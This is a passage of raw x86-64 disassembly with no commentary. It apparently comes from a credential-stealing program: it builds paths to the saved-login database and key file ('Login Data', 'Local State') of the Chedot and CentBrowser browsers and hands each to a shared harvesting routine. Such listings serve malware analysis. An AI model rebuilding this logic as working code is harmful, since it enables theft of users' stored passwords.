lea rcx, [rbp - 0x10]
call fcn.1800a79d0
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008ef90
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x180090950
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800a9670
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x1800909c9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1800909c0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800909bb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180090f60
mov rcx, r8
call fcn.1800afef0
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180090a06
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090a06
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090a01
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f60
call fcn.1800afef0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180090a41
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090a3c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f60
call fcn.1800afef0
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x1d]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x1d
lea rdx, str.ChedotUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x24]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x24
lea rdx, str.ChedotUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rdx, str.Chedot
mov r8d, 6
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800a7f50
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800a79d0
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008ef90
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x180090b50
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800a9670
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x180090bc9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x180090bc0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x180090bbb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180090f66
mov rcx, r8
call fcn.1800afef0
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180090c06
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090c06
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090c01
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f66
call fcn.1800afef0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180090c41
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090c3c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f66
call fcn.1800afef0
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x22]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x22
lea rdx, str.CentBrowserUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x29]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x29
lea rdx, str.CentBrowserUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rdx, str.CentBrowser
mov r8d, 0xb
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800a7f50
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800a79d0
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008ef90
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x180090d50
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800a9670
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x180090dc9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x180090dc0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x180090dbb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180090f24
mov rcx, r8
call fcn.1800afef0
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180090e06
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090e06
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090e01
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f24
call fcn.1800afef0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180090e41
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090e3c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f24
call fcn.1800afef0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180090e7e
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090e79
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f2a
call fcn.1800afef0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x180090eb5
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090eb0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f2a
call fcn.1800afef0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x180090eeb
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x180090ee6
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180090f2a
mov rcx, r8
call fcn.1800afef0
lea r11, [rsp + 0x240]
mov qword [rsi + 0x10], r14
mov rbx, qword [r11 + 0x10]
mov rax, rdi
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov byte [rsi], r14b
mov r14, qword [r11 + 0x28]
mov qword [rsi + 0x18], 0xf
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3